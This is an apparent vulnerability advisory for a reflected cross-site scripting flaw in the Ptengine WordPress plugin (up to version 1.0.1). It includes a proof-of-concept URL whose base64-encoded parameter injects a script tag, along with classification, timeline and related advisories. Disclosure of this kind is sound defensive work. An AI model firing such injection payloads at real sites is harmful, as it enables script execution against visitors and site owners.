Ptengine <= 1.0.1 – Reflected Cross-Site Scripting (XSS)

Description

The ptengine-real-time-web-analytics-and-heatmap WordPress plugin was affected by a Reflected Cross-Site Scripting (XSS) security vulnerability.

Proof of Concept

http://www.example.com/?account=1&pwd=1&uid=1&setFirst=0&sid=1&siteId=1&groupId=1&siteName=1&timezone=1&code=PHNjcmlwdD5hbGVydCgnYnJva2VuIScpOzwvc2NyaXB0Pg==

(payload is base64 encoded in the code parameter)

Affects Plugins

ptengine-real-time-web-analytics-and-heatmap

Fixed in 1.0.2

References

URL

https://plugins.trac.wordpress.org/changeset/1121022/ptengine-real-time-web-analytics-and-heatmap

Classification

Type

XSS

OWASP top 10

A7: Cross-Site Scripting (XSS)

CWE

CWE-79

Miscellaneous

Submitter

ethicalhack3r

Submitter twitter

ethicalhack3r

Verified

WPVDB ID

f80e1109-ee0f-4952-a3c5-44105f247aad

Timeline

Publicly Published

2015-03-25 (about 11 years ago)

Added

2015-04-01 (about 11 years ago)

Last Updated

2019-10-21 (about 6 years ago)

Other

Published

Title

Published

2024-08-27

Title

Accordion Image Menu <= 3.1.3 - Stored XSS via CSRF

Published

2023-08-29

Title

Slimstat Analytics < 5.0.9 - Admin+ Stored XSS

Published

2026-03-20

Title

Yobazar < 1.6.7 - Reflected Cross-Site Scripting

Published

2023-04-17

Title

Membership Database <= 1.0 - Reflected XSS

Published

2025-11-10

Title

WP Count Down Timer <= 1.0.1 - Authenticated (Contributor+) Stored Cross-Site Scripting